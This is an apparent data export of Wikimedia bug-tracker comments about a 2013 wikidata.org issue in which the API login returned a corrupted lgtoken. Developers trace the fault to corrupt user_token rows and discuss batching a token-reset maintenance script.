https://gerrit.wikimedia.org/r/77136",,,1375372243,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,2,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7894736842105265,1.0,"Change 77136 had a related patch set uploaded by CSteipp:
Efficiently reset null user tokens

GERRIT_URL"
193580,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","(In reply to comment #33)
> I'll take a look at making resetUserTokens.php more efficient, and then we
> can
> find someone to run it for the affected wikis.
> 
> Aaron, could you find out which wikis had the wrong column definition?

It really should just be run on all wikis.

The script can be made faster by:
(a) Batching the SELECT by user_id
(b) Avoiding the User function to update the token and doing it directly
(c) Batching these token updates
(d) A script option can be added to skip rows with valid tokens (the bad ones are all \0, good ones should have the right length and hex chars)",,,1372351086,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-9,True,1.5,0.0,0.0,2.0,0.0,5.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,5.5,0.0,2.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,1.5,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,12.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,3.0,8.5,0.0,2.0,7.5,0.0,0.0,0.0,0.5,5.5,0.0,0.5,0.0,1.5,5.5,4.5,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,3.0,0.5,0.0,1.5,3.3207547169811322,0.7264150943396226,"(In reply to comment #33)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It really should just be run on all wikis.

The script can be made faster by:
(a) Batching the SELECT by user_id
(b) Avoiding the User function to update the token and doing it directly
(c) Batching these token updates
(d) A script option can be added to skip rows with valid tokens (the bad ones are all \0, good ones should have the right length and hex chars)"
193576,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","I'll take a look at making resetUserTokens.php more efficient, and then we can find someone to run it for the affected wikis.

Aaron, could you find out which wikis had the wrong column definition?",,,1372349883,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-9,True,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,5.0,2.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,4.125,0.9,"I'll take a look at making resetUserTokens.php more efficient, and then we can find someone to run it for the affected wikis.

Aaron, could you find out which wikis had the wrong column definition?"
193572,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header",Reopening as per last comment.,,,1371684175,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-10,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.333333333333333,1.0,Reopening as per last comment.
193567,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","I do not know whether this is fixed for all users. The issue is rooted in a corrupt entry in the user table (ask Aaron or Tim for details). So, this issue would affect some users but not others, until all user entries in the database have been fixed. I do not have a way to check this.",,,1371635304,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-10,True,5.0,0.0,0.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,8.0,5.0,9.0,2.0,3.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,12.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,0.6666666666666666,"I do not know whether this is fixed for all users. The issue is rooted in a corrupt entry in the user table (ask Aaron or Tim for details). So, this issue would affect some users but not others, until all user entries in the database have been fixed. I do not have a way to check this."
193562,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header",No answer => Closing.,,,1371625878,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,1.0,No answer => Closing.
193559,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Works for me now with the script in comment 25, token seems to be correct.

Daniel Kinzler: Can you confirm?",,,1371150674,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-11,True,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,8.0,16.0,8.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.6,1.0,"Works for me now with the script in comment 25, token seems to be correct.

Daniel Kinzler: Can you confirm?"
193555,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Works for me now with the script in comment 25, token seems to be correct.

Daniel Kinzler: Can you confirm?",,,1369920730,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,8.0,16.0,8.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.6,1.0,"Works for me now with the script in comment 25, token seems to be correct.

Daniel Kinzler: Can you confirm?"
193550,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header",Tim / Aaron: How can we get some progress here in order to get this fixed?,,,1364978820,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-21,True,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,11.0,11.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2777777777777777,0.9444444444444444,Tim / Aaron: How can we get some progress here in order to get this fixed?
193545,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Still open. Corrupt tokens are still in the database:

[22:07] <AaronSchulz> Tim was running a script but it stalled out and needed to be batched
[22:07] <AaronSchulz> I don't think he ever rewrote it, so the rows are probably still broken",,,1362777213,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-25,True,0.0,0.0,0.0,4.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,13.0,5.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,11.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,7.0,5.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,11.0,3.6545454545454548,0.8181818181818182,"Still open. Corrupt tokens are still in the database:

[22:07] <AaronSchulz> Tim was running a script but it stalled out and needed to be batched
[22:07] <AaronSchulz> I don't think he ever rewrote it, so the rows are probably still broken"
193539,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Created attachment 11899
bash script for testing the API response

Improved test script: no password on the command line, runs output through hexdump.

**Attached**: {F9929}",,,1362776977,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-25,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,13.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,0.8157894736842105,"Created attachment 11899
bash script for testing the API response

Improved test script: no password on the command line, runs output through hexdump.

**Attached**: {F9929}"
193532,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header",I am still getting the broken token.,,,1362776754,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-25,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.75,1.0,I am still getting the broken token.
193526,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","FIXED?

https://wikitech.wikimedia.org/w/index.php?title=Server_Admin_Log&diff=61872&oldid=61871 says:

> * 21:31 Tim: running resetUserTokens.php on all wikis, in screen on hume, to fix user_token field corruption ([[bugzilla:41586|bug 41586]])",,,1362376561,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-26,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.875,0.875,"FIXED?

URL says:

QUOTE"
193519,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","An extended debugging session by Aaron and Tim unearthed bad tokens appearing in the database due to issues with a schema change. Fixes are on gerrit, see I92f1645d4 and I3529fe8af",,,1361929572,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-26,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,19.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,19.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,4.71875,0.96875,"An extended debugging session by Aaron and Tim unearthed bad tokens appearing in the database due to issues with a schema change. Fixes are on gerrit, see I92f1645d4 and I3529fe8af"
193515,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","(In reply to comment #20)
> Comment in the RT ticket is:
> ""I think this rather needs attention from wikidata dev people, which would be
> Wikimedia Deutschland people almost entirely, afaik""

I do not see how the Wikidata team can do anything about this.

* We do not deal with login code or token generation at all. The problem occurs with a core API call that has nothing to do with the Wikibase extension.

* The problem is exclusive to wikidata.org. We can not reproduce it on any of our test systems.

* Nobody in the Wikidata team has the access level necessary to investigate the issue.

So, what do you suggest the Wikidata team can do about the problem?",,,1361910543,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-27,True,1.5,0.5,0.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,2.5,0.0,4.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.5,0.5,1.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.5,0.0,13.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.5,0.5,7.5,1.0,10.5,0.5,0.5,9.0,0.0,0.0,0.0,0.5,6.0,0.0,0.5,0.0,4.5,9.0,3.5,1.0,0.0,0.0,4.5,0.0,2.0,0.5,0.0,0.0,0.0,0.0,1.0,3.681034482758621,0.7413793103448276,"(In reply to comment #20)
QUOTE
QUOTE
QUOTE

I do not see how the Wikidata team can do anything about this.

* We do not deal with login code or token generation at all. The problem occurs with a core API call that has nothing to do with the Wikibase extension.

* The problem is exclusive to wikidata.org. We can not reproduce it on any of our test systems.

* Nobody in the Wikidata team has the access level necessary to investigate the issue.

So, what do you suggest the Wikidata team can do about the problem?"
193510,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Comment in the RT ticket is:
""I think this rather needs attention from wikidata dev people, which would be Wikimedia Deutschland people almost entirely, afaik""


I get the same results as in comment 6, using the Bash script in https://www.wikidata.org/wiki/Wikidata:Contact_the_development_team/Archive/2012/12#API:_Login_doesn.27t_work.3F

$:andre\> ./login.sh Malyacko xxxxxxxx de.wikipedia.org
<?xml version=""1.0""?><api><login result=""NeedToken"" token=""48dc7df07df9d9b6529c7d56f33c2eb5"" cookieprefix=""dewiki"" sessionid=""392cc0b55fe5b7594d3fd41536421c89"" /></api>

<?xml version=""1.0""?><api><login result=""Success"" lguserid=""1220085"" lgusername=""Malyacko"" lgtoken=""f409b84cd9049810ecf8db70eac8e9f4"" cookieprefix=""dewiki"" sessionid=""392cc0b55fe5b7594d3fd41536421c89"" /></api> 

$:andre\> ./login.sh Malyacko xxxxxxxx www.wikidata.org
<?xml version=""1.0""?><api><login result=""NeedToken"" token=""aa8e747286dc98018d750cac5ee62b6b"" cookieprefix=""wikidatawiki"" sessionid=""b54e252498f7c97280965e4736c4035b"" /></api>

<?xml version=""1.0""?><api><login result=""Success"" lguserid=""37514"" lgusername=""Malyacko"" lgtoken=""��������������������������������"" cookieprefix=""wikidatawiki"" sessionid=""b54e252498f7c97280965e4736c4035b"" /></api>",,,1361891272,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-27,True,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,1.0,0.0,1.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,9.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,5.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,1.0,2.5,34.0,2.0,13.0,0.0,1.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,5.5,6.232501434308663,0.5197934595524957,"Comment in the RT ticket is:
""I think this rather needs attention from wikidata dev people, which would be Wikimedia Deutschland people almost entirely, afaik""


I get the same results as in comment 6, using the Bash script in URL

$:andre\> ./login.sh Malyacko xxxxxxxx de.wikipedia.org
<?xml version=""1.0""?><api><login result=""NeedToken"" token=""48dc7df07df9d9b6529c7d56f33c2eb5"" cookieprefix=""dewiki"" sessionid=""392cc0b55fe5b7594d3fd41536421c89"" /></api>

<?xml version=""1.0""?><api><login result=""Success"" lguserid=""1220085"" lgusername=""Malyacko"" lgtoken=""f409b84cd9049810ecf8db70eac8e9f4"" cookieprefix=""dewiki"" sessionid=""392cc0b55fe5b7594d3fd41536421c89"" /></api> 

$:andre\> ./login.sh Malyacko xxxxxxxx www.wikidata.org
<?xml version=""1.0""?><api><login result=""NeedToken"" token=""aa8e747286dc98018d750cac5ee62b6b"" cookieprefix=""wikidatawiki"" sessionid=""b54e252498f7c97280965e4736c4035b"" /></api>

<?xml version=""1.0""?><api><login result=""Success"" lguserid=""37514"" lgusername=""Malyacko"" lgtoken=""��������������������������������"" cookieprefix=""wikidatawiki"" sessionid=""b54e252498f7c97280965e4736c4035b"" /></api>"
193509,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header",Reedy: Could you answer comment 18?,,,1361199018,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Reedy: Could you answer comment 18?
193508,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","(In reply to comment #17)
> WFM (with Daniels script)...

with a valid name & password? can you post the output, please?",,,1357908869,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-33,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,8.0,4.0,4.0,0.0,4.0,12.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.076923076923077,0.9615384615384616,"(In reply to comment #17)
QUOTE

with a valid name & password? can you post the output, please?"
193507,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header",WFM (with Daniels script)...,,,1357856896,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-33,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,WFM (with Daniels script)...
193506,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header",RT #4304.,,,1357817501,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-33,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,RT #4304.
193505,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Sorry, I was wrong, I *can* reproduce it: if I run the test script with a valid user name and password, I get back a broken lgtoken.",,,1357816309,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-33,True,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,15.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,15.0,6.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.1176470588235294,0.7941176470588235,"Sorry, I was wrong, I *can* reproduce it: if I run the test script with a valid user name and password, I get back a broken lgtoken."
193503,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Merl:
Please check whether it works for you now.

